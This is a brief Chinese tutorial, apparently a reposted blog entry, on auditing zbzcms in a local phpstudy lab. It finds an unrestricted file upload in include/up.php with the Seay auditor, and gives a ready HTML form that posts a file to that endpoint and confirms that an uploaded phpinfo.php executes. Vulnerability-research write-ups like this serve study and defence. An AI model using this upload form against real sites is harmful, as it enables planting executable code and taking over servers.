一、phpstudy搭建zbzcms.com網站

二、使用seay源代碼審計工具
1.進行自動審計,發現可疑檔案上傳的漏洞

2.雙擊打開,分析代碼,添加變數輸出$_FILES
添加代碼如下:var_dump($_FILES);
3.在網站根目錄下新建html檔案內容如下
<html>
<head>
<meta charset="utf-8">
<title>xxx</title>
</head>
<body>
<form action="http://zbzcms:8002/cms/cms/include/up.php?run=file&path=./" method="post" enctype="multipart/form-data">
<label for="file">檔案名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
此處改成自己正確的url

4.用瀏覽器訪問html檔案,上傳phpinfo.php檔案

回傳出路徑

5.訪問路徑,檔案決議成功!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/376962.html
標籤:其他
